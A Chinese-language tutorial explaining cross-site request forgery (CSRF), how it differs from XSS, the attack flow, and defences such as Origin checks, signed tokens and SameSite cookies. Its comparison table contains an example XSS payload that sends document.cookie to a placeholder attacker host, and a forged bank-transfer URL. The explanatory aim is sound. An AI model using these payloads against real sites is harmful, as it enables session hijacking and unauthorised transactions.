因為現代瀏覽器的工作機制原因,造成一種WEB攻擊形式的存在,這種攻擊形式叫做CSRF攻擊,是一種對網站的惡意利用,是挾制用戶在當前已登錄的Web應用程序上執行非本意的操作的攻擊方法。
Part 01
● 什么是CSRF ●
CSRF(Cross-site request forgery)簡稱:跨站請求偽造,跟XSS攻擊一樣,存在巨大的危害性。在CSRF的攻擊場景中,攻擊者會偽造一個請求(這個請求一般是一個鏈接),然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊就完成了,所以CSRF攻擊也稱為one-click attack。
Part 02
● CSRF與XSS的區別 ●
與XSS相比,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。
從漏洞存在的位置上(CSRF存在于所有請求-響應模式的功能上,XSS存在于將用戶輸入回顯前端web頁面的位置上);從攻擊效果上(CSRF主要是執行網站自身已有功能,XSS主要是用于獲取Cookie)。
攻擊類型 |
攻擊示例 |
說明 |
CSRF |
??http://www.hack.com/csrf_page(頁面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“)?? |
發送的請求是hack網站的頁面,目標是bank網站頁面 |
XSS |
??http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>'?? |
發送的請求是bank網站的頁面,目標是hack網站頁面 |
Part 03
● CSRF攻擊原理 ●
HTTP是無狀態協議,服務器只能根據當前請求的參數(包括Head和Body的數據)來判斷本次請求需要達到的目的(Get或者Post都一樣),服務器并不知道這個請求之前干了什么事,這就是無狀態協議。
但是我們現實很多情況需要有狀態,比如登錄態的身份信息,網頁上很多操作需要登錄之后才能操作。目前的解決方案是每次HTTP請求都把登錄態信息傳給后臺服務器,后臺通過登錄態信息是判斷用戶合法性之后再處理這個請求要處理的操作。
如何讓每次HTTP請求都帶上登錄態信息,所以就出現了Cookie。登錄態Cookie是瀏覽器默認自動攜帶的,我們在瀏覽器上發送HTTP請求的時候,瀏覽器會把該域名下的Cookie帶上,一并發送到服務器。那么問題就來了,瀏覽器不管當前發送請求的是哪個網站,在哪個頁面上發送的請求,只要你請求的域名在瀏覽器里保存有Cookie信息,瀏覽器都會一并帶上。
所以只要用戶C曾經登錄過網站A,在沒有關閉瀏覽器的情況下打開一個黑客網頁B,黑客頁面發送HTTP請求到網站A的后臺,會默認帶上網站A的登錄態Cookie,也就能模擬用戶C做一些增刪改等敏感操作。這就是CSRF攻擊原理。
Part 04
● CSRF攻擊過程 ●
(1) 用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登錄網站A;
(2) 在用戶信息通過驗證后,網站A產生Cookie信息并返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A;
(3) 用戶未退出網站A之前,在同一瀏覽器中,打開一個標簽頁訪問危險網站B;
(4) 網站B接收到用戶請求后,返回一些攻擊性代碼,并發出一個請求要求訪問第三方站點A;
(5) 瀏覽器在接收到這些攻擊性代碼后,根據網站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網站A發出請求。
(6) 網站A并不知道該請求其實是由B發起的,所以會根據用戶C的Cookie信息以C的權限處理該請求,導致來自網站B的惡意代碼被執行。
我們可以這樣理解:
攻擊者盜用了用戶C的身份,以用戶C的名義發送惡意請求,對服務器來說這個請求是完全合法的,但是卻完成了攻擊者期望的操作,比如以用戶C的名義發送郵件,甚至于購買商品、虛擬貨幣轉賬等。
Part 05
● CSRF防護方法 ●
1、驗證HTTP請求頭
HTTP請求頭會默認帶上Referer字段和Origin字段,Referer記錄了該請求的來源地址,Origin記錄請求來源域名。通過我們通過判斷這2個字段的值,可以確認該請求是否來自安全站點,以此來阻止第三方惡意請求。
由于Referer值會記錄用戶的訪問來源地址,有些用戶認為這樣會侵犯到自己的隱私,特別是有些組織擔心Referer值會把內網中的某些信息泄露到外網中。 因此,用戶自己可以設置瀏覽器在發送請求時不再提供Referer。當他們正常訪問銀行網站時,網站會因為請求沒有Referer值而認為是CSRF攻擊,拒絕合法用戶的訪問。因此推薦使用Origin校驗。
2、Token機制
CSRF防護的一個重點是對“用戶憑證Token”進行校驗,通過這種機制可以對用戶的請求進行合法性判斷,判斷是不是跨站攻擊的行為。我們在Token中加入隨機字符串和過期時間戳,對其進行有效期管理,并加上簽名校驗。如果的憑證被人盜用了,先判斷Token中的“簽名”與時間戳是否都有效,再進行正常的業務處理,這樣通過對非法數據的校驗過濾,來降低CSRF攻擊的成功率。
Token由三部分組成:
(1) 消息[msg]:消息本身由兩部分組成:隨機字符串和過期時間戳。
(2) 分割符[separator]:用于分隔msg與加密后生成的signature簽名,這里用的是”;“。
(3) 簽名[signature]:簽名是對“msg”用特定算法進行加密后的字符串。
當用戶向服務發送請求時,服務器需要先進行分解,得到msg部分和signature簽名部分,比對簽名和判斷token是否過期,一旦傳向請求中攜帶的Token校驗異常,就可以判定是可疑行為,不做處理。
3. 在請求頭中自定義屬性并驗證
這種方法也是使用token并進行驗證,不同的是,這里不是把token以參數的形式置于HTTP請求之中,而是把它放到請求頭中自定義的屬性里。通過XMLHttpRequest請求封裝,可以一次性給所有請求加上csrftoken這個自定義屬性,并把token值放入其中。同時,通過XHR請求的地址不會被記錄到瀏覽器的地址欄,也不用擔心token會透過Referer泄露到其他網站去。
然而這種方法的局限性非常大。XHR請求通常用于頁面局部的異步刷新,并非所有的請求都適合用這個類來發起,而且通過該類請求得到的頁面不能被瀏覽器所記錄下,從而不能進行前進、后退、刷新等操作,給用戶帶來不便。
4. Cookie的SameSite屬性
CSRF攻擊就是利用了cookie中攜帶的用戶信息,想要防護Cookie不被第三方網站利用,我們可以通過設置Samesite屬性。SameSite最初設計的目的就是防CSRF,SameSite有三個值Strict/Lax/None。
(1) Strict最為嚴格。如果SameSite的值是Strict,那么瀏覽器會完全禁止第三方。
(2) Lax相對寬松一點。在跨站點的情況下,從第三方站點的鏈接打開和從第三方站點提交Get方式的表單這兩種方式都會攜帶Cookie。但如果在第三方站點中使用Post方法,或者通過img、iframe等標簽加載的URL,這些場景都不會攜帶 Cookie。
(3) 而如果使用None的話,在任何情況下都會發送Cookie數據。
?對于防范CSRF攻擊,我們可以針對實際情況將一些關鍵的Cookie設置為Strict或者Lax模式,這樣在跨站點請求時,這些關鍵的Cookie就不會被發送到服務器,從而使得黑客的CSRF攻擊失效。
以上是技術層面的防護方法,常用的是驗證HTTP請求頭和Token機制。實際Web應用是使用WAF(Web應用防火墻,如免費的ShareWAF)。因為CSRF只是眾多Web攻擊中的一種,WAF可以低于絕大多數的攻擊,極大的提高網站安全性。
參考文獻
[1]陳振. CSRF攻擊的原理解析與對策研究[J]
[2]https://blog.csdn.NET/stpeace/article/details/53512283